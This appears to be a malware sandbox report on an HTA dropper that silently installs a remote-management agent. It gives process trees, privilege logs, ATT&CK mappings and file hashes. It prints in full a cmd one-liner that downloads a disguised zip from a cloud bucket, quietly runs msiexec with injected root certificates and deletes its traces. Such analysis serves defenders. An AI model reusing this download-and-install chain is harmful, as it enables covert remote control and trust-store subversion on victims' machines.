Token: SeAssignPrimaryTokenPrivilege	4848	msiexec.exe
Token: SeLockMemoryPrivilege	4848	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4848	msiexec.exe
Token: SeMachineAccountPrivilege	4848	msiexec.exe
Token: SeTcbPrivilege	4848	msiexec.exe
Token: SeSecurityPrivilege	4848	msiexec.exe
Token: SeTakeOwnershipPrivilege	4848	msiexec.exe
Token: SeLoadDriverPrivilege	4848	msiexec.exe
Token: SeSystemProfilePrivilege	4848	msiexec.exe
Token: SeSystemtimePrivilege	4848	msiexec.exe
Token: SeProfSingleProcessPrivilege	4848	msiexec.exe
Token: SeIncBasePriorityPrivilege	4848	msiexec.exe
Token: SeCreatePagefilePrivilege	4848	msiexec.exe
Token: SeCreatePermanentPrivilege	4848	msiexec.exe
Token: SeBackupPrivilege	4848	msiexec.exe
Token: SeRestorePrivilege	4848	msiexec.exe
Token: SeShutdownPrivilege	4848	msiexec.exe
Token: SeDebugPrivilege	4848	msiexec.exe
Token: SeAuditPrivilege	4848	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4848	msiexec.exe
Token: SeChangeNotifyPrivilege	4848	msiexec.exe
Token: SeRemoteShutdownPrivilege	4848	msiexec.exe
Token: SeUndockPrivilege	4848	msiexec.exe
Token: SeSyncAgentPrivilege	4848	msiexec.exe
Token: SeEnableDelegationPrivilege	4848	msiexec.exe
Token: SeManageVolumePrivilege	4848	msiexec.exe
Token: SeImpersonatePrivilege	4848	msiexec.exe
Token: SeCreateGlobalPrivilege	4848	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4824	7za.exe
Token: 35	4824	7za.exe
Token: SeSecurityPrivilege	4824	7za.exe
Token: SeSecurityPrivilege	4824	7za.exe
Token: SeRestorePrivilege	4176	7za.exe
Token: 35	4176	7za.exe
Token: SeSecurityPrivilege	4176	7za.exe
Token: SeSecurityPrivilege	4176	7za.exe
Token: SeRestorePrivilege	708	7za.exe
Token: 35	708	7za.exe
Token: SeSecurityPrivilege	708	7za.exe
Token: SeSecurityPrivilege	708	7za.exe
Token: SeDebugPrivilege	5792	dcusbsummary.exe
Token: SeRestorePrivilege	4672	msiexec.exe
Token: SeTakeOwnershipPrivilege	4672	msiexec.exe
Token: SeRestorePrivilege	4672	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4848	msiexec.exe
4672	msiexec.exe
5864	MsiExec.exe
5792	dcusbsummary.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 4856	2400	mshta.exe	90
PID 4856 wrote to memory of 5748	4856	cmd.exe	93
PID 4856 wrote to memory of 2536	4856	cmd.exe	94
PID 4856 wrote to memory of 3664	4856	cmd.exe	97
PID 4856 wrote to memory of 4848	4856	cmd.exe	98
PID 4672 wrote to memory of 5864	4672	msiexec.exe	100
PID 4672 wrote to memory of 5296	4672	msiexec.exe	101
PID 5296 wrote to memory of 5316	5296	dcagentregister.exe	102
PID 5316 wrote to memory of 1468	5316	cmd.exe	104
PID 1468 wrote to memory of 4724	1468	net.exe	105
PID 5316 wrote to memory of 5452	5316	cmd.exe	106
PID 5316 wrote to memory of 5368	5316	cmd.exe	107
PID 5316 wrote to memory of 2072	5316	cmd.exe	108
PID 5316 wrote to memory of 4628	5316	cmd.exe	109
PID 5316 wrote to memory of 3528	5316	cmd.exe	110
PID 5296 wrote to memory of 3820	5296	dcagentregister.exe	112
PID 3820 wrote to memory of 4824	3820	cmd.exe	114
PID 5296 wrote to memory of 4176	5296	dcagentregister.exe	118
PID 5296 wrote to memory of 708	5296	dcagentregister.exe	120
PID 5296 wrote to memory of 4184	5296	dcagentregister.exe	122
PID 5296 wrote to memory of 4972	5296	dcagentregister.exe	125
PID 1832 wrote to memory of 2028	1832	dcagentservice.exe	127
PID 1832 wrote to memory of 6136	1832	dcagentservice.exe	129
PID 1832 wrote to memory of 5792	1832	dcagentservice.exe	130
PID 5792 wrote to memory of 3004	5792	dcusbsummary.exe	132
PID 1832 wrote to memory of 2568	1832	dcagentservice.exe	134
PID 5296 wrote to memory of 2144	5296	dcagentregister.exe	136
PID 1832 wrote to memory of 1008	1832	dcagentservice.exe	137
PID 1832 wrote to memory of 5372	1832	dcagentservice.exe	139
PID 1832 wrote to memory of 4684	1832	dcagentservice.exe	141
PID 4856 wrote to memory of 2248	4856	cmd.exe	143
PID 1832 wrote to memory of 5068	1832	dcagentservice.exe	144
PID 5068 wrote to memory of 5516	5068	dcconfig.exe	146
PID 2144 wrote to memory of 6120	2144	dcagentregister.exe	148
PID 2144 wrote to memory of 4640	2144	dcagentregister.exe	149
PID 4640 wrote to memory of 2308	4640	cmd.exe	194

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.8.0

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\2026092221__UIAIOIADTKKAA_AILAKII9700JA09HH.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_T9DMWZKF.zip" "https://ok-1484683269.cos.ap-tokyo.myqcloud.com/ska909qiwpdoaidip-sajdauiiuduhahsdaskjdasioqiowdwjio.pdf" && if not exist "%TEMP%\extracted_T9DMWZKF" mkdir "%TEMP%\extracted_T9DMWZKF" 2>nul && tar -xf "%TEMP%\file_T9DMWZKF.zip" -C "%TEMP%\extracted_T9DMWZKF" && cd /d "%TEMP%\extracted_T9DMWZKF" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_T9DMWZKF.zip" && rd /s /q "extracted_T9DMWZKF" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5748
- - C:\Windows\SysWOW64\curl.exe
    curl -L -o "C:\Users\Admin\AppData\Local\Temp\file_T9DMWZKF.zip" "https://ok-1484683269.cos.ap-tokyo.myqcloud.com/ska909qiwpdoaidip-sajdauiiuduhahsdaskjdasioqiowdwjio.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2536
- - C:\Windows\SysWOW64\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\file_T9DMWZKF.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_T9DMWZKF"
    3⤵
    PID:3664
- - C:\Windows\SysWOW64\msiexec.exe
    msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4848
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2248
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2400 -s 1408
  2⤵
  - Program crash
  PID:5740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2400 -ip 2400
1⤵
PID:6000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4604

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4672
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3EFE51ACBB9A2264D55139A3BA05527C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5864
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies trusted root certificate store through registry
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5316
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1468
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4724
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5452
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "CZIEFEEQ\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5368
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2072
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4628
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3820
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4824
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4176
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:708
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:4184
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
    bin\dcinventory.exe -i postinstallation 0 1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:4972
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe
      dcmetroapps.exe
      4⤵
      PID:3356
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious use of WriteProcessMemory
    PID:2144
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
      bin\dcpatchscan.exe -y 1
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Modifies data under HKEY_USERS
      PID:6120
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *
        5⤵
        
        PID:1556
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
        5⤵
        
        PID:2496
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *
        5⤵
        
        PID:3140
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
        5⤵
        
        PID:3816
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *
        5⤵
        
        PID:1188
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
        5⤵
        
        PID:1816
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *
        5⤵
        
        PID:3144
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *
        5⤵
        
        PID:3412
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
        5⤵
        
        PID:1348
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *
        5⤵
        
        PID:1380
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *
        5⤵
        
        PID:5668
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *
        5⤵
        
        PID:3976
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *
        5⤵
        
        PID:4864
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *
        5⤵
        
        PID:428
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *
        5⤵
        
        PID:4500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe
        5⤵
        System Location Discovery: System Language Discovery
        Gathers system information
        
        PID:2308

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1944

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exe
  CRU_Reporter.exe -RegisterCRU
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2028
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
  7 0 0
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:6136
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Checks SCSI registry key(s)
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:3004
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
  bin\dcstatusutil.exe RequestAgentSlotFromServer
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2568
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:1008
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5372
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:4684
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
  3 0 0
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
    16
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:5516
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
    bin\dcinventory.exe -p processor compatibility
    3⤵
    PID:4772
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exe
    refresh
    3⤵
    PID:1612
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json
    3⤵
    PID:4600
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json
    3⤵
    PID:1860
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3476.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3476.tmpnew""
    3⤵
    - Executes a command shell one-liner
    PID:2308
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3476.tmp" -so
      4⤵
      PID:2652
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
    3⤵
    PID:2000
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
    3⤵
    PID:3876
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
    3⤵
    PID:1108
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz" *
    3⤵
    PID:2804
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *
    3⤵
    PID:2460
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe
  DCProcessMonitor.exe
  2⤵
  PID:1972

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"
1⤵
PID:4656
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 1
  2⤵
  PID:3284
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 2
  2⤵
  PID:1196
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 4
  2⤵
  PID:1336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5a5dd5.rbs

Path C:\Config.Msi\e5a5dd5.rbs
Size 63KB
SHA256 433859b90ad1fb0e722132671098f34400cf625f0ccd4e1f032c24849e16dbae
MD5 c0ee579ad1ac503b929d6789abd0ecb1
SHA1 f307a0dbfac7cac1e8f657c2a2e1557c6001dbaa
SHA512 db125cbf34ee7607c7530041a4e9213c753a52e16d16bd21461ad2f551281a0d6346f67841ddceba9bd8c0c2be4ae9765350804ca4d2d75a6e879905b162672d
SSDEEP 768:uSvw1oOjyhMzY7yjDO+GLjtjmIIeqOWiqJUJl4ImBVbL:r8oGyh7UDO+H3BGszbL
TLSH
T14C538266DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5a5ddb.rbs

Path C:\Config.Msi\e5a5ddb.rbs
Size 546B
